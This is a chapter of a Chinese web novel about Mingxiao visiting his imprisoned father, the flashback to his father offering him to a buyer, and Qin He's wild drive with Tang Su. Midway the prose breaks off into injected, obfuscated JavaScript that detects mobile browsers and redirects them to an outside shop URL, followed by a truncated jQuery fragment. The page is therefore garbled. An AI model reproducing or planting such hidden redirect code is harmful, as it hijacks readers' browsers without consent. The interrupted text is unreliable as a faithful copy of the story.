明霄还是选择了探监。
“这边做完登记就可以进去了,”制服穿得板正,眼神清明的狱警递来一支笔,“但是只能进去一个人。”
按理来说,未判决、未交付执行的罪犯不得被探视,能进一人已经不易了。
“谢谢。”明霄把身份证放回去,接过笔在册子上签上自己的名字。
“嗯,可以了。”
秦和眨了一下眼睛,毫不吝啬地对着明霄展颜一笑。
明霄嘴角一抽,下意识拦步上前,挡住了狱警看过去的视线:“你可以先回去了。”
“我就在这里等你。”秦和正了神色,语气平平,反倒让明霄有些不习惯。
他把自己的手机递过去:“里面有个新版本,无聊可以帮我做一下测试。”
秦和点点头,散漫地坐在原地,目送着明霄与狱警的背影远去,消失在走廊尽头。
手指灵活地把玩着明霄的手机,屏幕明明灭灭,他的视线绕着等待室转了一圈,最后落在明霄刚刚签完名的册子上。
墨色的字迹印入他眼底,秦和瞳孔一缩,手指下意识按在了纸张上,未干透的墨水沾染在他的指尖。
“咦?”
疑惑的气音从他的口中吐出,稍稍打破了沉寂。
......
“李照!有人探视!”
被黄色马甲裹着的男人一瘸一拐走了过来,行动间镣铐发出“叮铃当啷”的响声,落入明霄耳中,他本就冷淡的神色更显晦暗,目光沉沉。
“时间上注意一下,不能超过半小时。”
明霄点点头,送他过来的狱警退后十来步,到底没有离开他的视线范围。
规定如此,他没有什么不满。
吐出一口浊气,他拿起桌面上的听筒。
隔着玻璃,对面神色萎靡的男人死死盯了他十多秒,才颤抖着手去够听筒:“崽、种,唔!”
“注意言辞。”狱警上前一步,伸出手,重重压在他肩上。待李照死死咬着牙点头后,才松开手,退回站位。
“看来还是监狱适合你,有生之年还能改改毛病,”明霄扯着嘴角,落在膝上的手慢慢握成拳,“我不和你多废话,告诉我,你背后的人是谁?”
“呵、呵,”李照的声音虽然虚弱,但仍旧透着一股狠劲,“怎么?你那位金主先生不是、很厉害吗?查不到?还是——不、想、帮、你、查!”
明霄垂下眼,眼底划过一丝不耐:“这是我们之间的事情,不要牵扯不相关的人。你不说,我也会想办法自己去查。倒是你,还真是一条好狗。这辈子做个人,真是委屈你了。”
“哈!哈!哈哈哈哈!”李照吞下反涌上来的腥味,秦和下手够狠,伤了他根本,想到这,他的眼神骤然变得更凶恶,周身的气势又沉又压抑,惹得他身后的狱警下意识压上前一步,“不相关?崽、明霄,我的好儿子,你是真忘了?还是和我装糊涂呢?”
甲片深深嵌入掌心里,微弱的铁锈味在鼻尖散开,明霄的目光变得冰冷,思绪却不受控制地回到那个猩红的热夏。
—
“呼,这天可真够热的,都要死人了!”
“谁说不是呀!伤口不处理,很快就要发炎生蛆,买伤药,又是一大笔钱!呸!老子这个月的进账还没花出去的多!啧!李家的小子,看什么看!信不信老子把你的眼睛挖出来?”
明霄默默地加快了脚步,把混着脏话的闲言碎语抛在身后。
“李照那狗东西真打算做个好爸爸啊?还让那兔崽子去上学?他出得起学费?”
“哪能啊!喏,你别看那小鬼安安静静的,打起架来能豁的出去命!也不知道一个初中生哪能这么狠,白天上学,晚上打黑挣保护费,我看李照是给自己招了一头狼!”
......
“呼——”明霄从缸里舀了瓢水,兜头浇下,水分蒸发带走了些许热意,被晒懵的脑袋顿时清明了许多。
B市的夏天向来难熬,他所处的贫民窟环境更是能折磨人,水电能通但仍不方便。
好在快要放暑假了,到时候他找几个地方做做兼职,好歹能蹭个空调。
“啧!”被打湿的衣服很快被烈日晒干,皱巴巴地粘在身上,明霄不爽地扯了扯领口。
他把竹瓢扔回去,缸里的水所剩无几,竹瓢触底发出一声闷响。
明霄叹了口气,抹去额头上又冒出的汗,双手抱起石缸。被晒得发烫的缸面贴着他的身体,他忍不住绞起眉头,咬着牙朝湖边走去。
走过一个拐角,隐隐约约传来的人声让他停住了脚步。他下意识闪身躲进角落,把石缸放下搁在脚面上,屏住呼吸。
“对对对,放心,这是个好货!脸长得正,身子骨也结实!肯定耐玩!就是嘛——”故作苦恼的声音里藏不住令人作呕的调笑,“性子有点野!哈哈哈,得了!喜欢野的就行!”
“啪!”
石缸从边角开裂出一条缝,尖利的小石子划破明霄的掌心,很快顺着他收紧的指缝向外渗出。
溅落在地的血珠还未开花就被蒸干,只留下一点深色的印子。明霄的目光却冷得像二月里的冰雪。
......
“当年你要是乖乖听话,把贵人伺候好了,不早就发达了吗?你设计我失手杀人,把秦家那位娇少爷放走,结果呢?现在还不是给人当个玩物!呸!明霄!你就是贱骨头的命!唔!唔唔唔!”
“老实点!”狱警按住挣扎的人。
明霄盯着玻璃对面丑态尽漏的男人,良久,竟是笑了。只是那笑格外凉薄:“你把亲儿子养在国外,美梦倒是做得挺好。放心,你口口声声‘好儿子’,我会让你梦想成真,父、子团圆的。”
“你敢!”被按压在桌上,滑落的听筒滚过几圈离远,李照的眼底爆开血丝,目眦欲裂,“你等着小兔崽子!我******!”
“可以了,”明霄把听筒放回原位,转头看向立在不远处的狱警,“我们走吧。”
—
“嚯,挺巧啊,”秦和站起身,朝来人一笑,“什么风把唐先生吹到这里来了?怎么,开赛车开得,找不着北了?”
唐素目光发直,视线在那张艳色的脸上粘了好一会儿,闻言,却是黑下了脸,脱口而出:“那秦二公子呢?怎么在这里?”
但话出口,他突然想到了外甥的话,顿觉懊恼,脚步一点一点向后撤去,目光变得警惕起来:“等等,没错,刚刚是在山上开车,风有点大,头的确有点昏。这不,现在清醒了!秦二公子,我们来日有缘再见!”
“等等!”看着面前的人比他还要夸张的神色,秦和忍不住抽了一下嘴角,好险没撑住脸上的笑意,他略微偏过头,垂落的发遮去了眼里的冷淡,“择日不如撞日,刚好最近我对赛车有点兴趣,正巧和唐先生探讨一下,喏——”
他掏出一把车钥匙,在唐素面前晃了一下:“不知唐先生意下如何?”
唐素的目光在钥匙正面熟悉的车标上流连了好一会儿,扁了扁嘴,话语艰涩:“不、不了,秦二公子——”
秦和勾了下手指,钥匙转过一个面,一串字母数字吸引住唐素的视线。
“艹!原来是被你抢走了!你——”陡然想起眼前人的身份,唐素缩了一下脑袋,“秦二公子真有眼光。”
秦和笑而不语,车钥匙在他指尖打转着,反出一道漂亮的光,不断闪着唐素的眼。
内心天人交战了好一会儿,唐素继续拒绝的话到了嘴边,又生生咽了回去,犹豫了半天,到底是点了点头。
对不住了大外甥,舅舅我就是个废物。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278758|198322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
......
“艹!你的脚是焊死在油门上了吗?松一松啊,要撞了啊!喂喂喂!”唐素死死地攥着副驾的把手。
他那一侧的后视镜险而又险地蹭过一点山体,他的喉结鼓动一下,口水咽下,懊悔却浮上心头。
B市山多,秦二公子打个电话让人把车送来,转头就到了一座山脚,一路向山头飙去。
这开法简直是在玩命!
唐素虽然热爱赛车,但很惜命。平时连给车改装都要先把每个零件的安全性测试好几遍。
可恶,上了贼车了!
秦和勾起嘴角,笑意轻松,随着身侧人的哀嚎,笑容不断加深,目光直直穿过挡风玻璃前扬起的尘埃,嘴上却惊声不断:“嘶!我踩的是油门?我还以为是刹车呢!哎哎哎,前面有棵树歪出来了,我是不是要打一点方向......”
唐素目光发直,心若死灰,嘴里喃喃自语:“大外甥,你害苦舅舅我了......”
秦和笑意渐收。
“呲————!”
车头一沉一跃,车尾甩出一个凌厉的弧线,堪堪停住。被惊飞的鸟雀不满地扑打着翅膀,从车窗外略过。
秦和松开刹车上的脚,按下车窗,涌进来的风裹挟着沙砾扑了两人一脸——
扑了唐素一脸。
“呸!”唐素吐出嘴里的沙砾,恨恨地看着秦和放下外套下摆,“秦二公子真是身手敏捷啊!直说吧,找我到底有什么事?”
还讨教?有这水平,怎么不组个车队,原地出道呢?跑这来消遣他!
“唐先生,”秦和递过一方手帕,被唐素狠狠地甩了一下手指也不恼,“我不知道明霆先生和你说过些什么,但看在唐家当年出手帮过秦家一把的份上,我劝你,不要趟这趟浑水。监狱那种地方,以后还是别去了。”
“他是——”
“明霆先生当然是你外甥,”秦和打断他,“可他姓明。明家是怎么起来的,相信你也清楚。你们终究不是一路人。”
“我——”唐素怔怔地看着秦和转过头后的侧脸,慵懒,姝艳,同当年他躲在父母身后偷偷看到的别无二样。晃了一下神,两道身影逐渐重合在一起,他甩了甩头,目光重新清明起来,“我知道了。”
对不住了大外甥,舅舅我还是习惯遵纪守法。
车子重新启动,平稳地向着山脚开去。
—
目送唐素身影远去,秦和慢悠悠调转了车头。
一手稳着方向盘,他另一只手伸进口袋,准备通知一下情人——
散漫的笑意一僵。
从口袋里摸出的手机很眼熟。黑色,曲屏,崭新的后壳边角有改动过的痕迹。
分明是明霄前不久新换的。
糟了!
秦和重重踩下了油门。
......
监狱门口的哨岗换了一张新面孔,秦和重新做了访客登记,步履匆匆。
脚步落在地面铺陈的瓷砖上,敲击声略急,却又在接近等待室时,慢了下来。
他吐出一口气,拧开把手,铰链转动,熟悉的背影出现在他眼前。
秦和放轻了手脚走进去。
明霄落在手帕上的手指微动。
“这么喜欢我的字吗?”肩头落下一只手,明霄下意识移开视线,但摊开的册子上的落款,以及手帕上的字迹仍旧能落入他眼底,一笔一划之间相似的笔意无所隐藏,“模仿得真像啊~”
温热的呼吸吐在他耳边,监控捕捉不到的轻声在他听来如同惊雷:“明霄哥哥~”
【“这位哥哥,你是来救我的吗?”】
熟悉的语调,解封了他的记忆,明霄紧紧握住肩膀上的手。
终于......想起来了吗?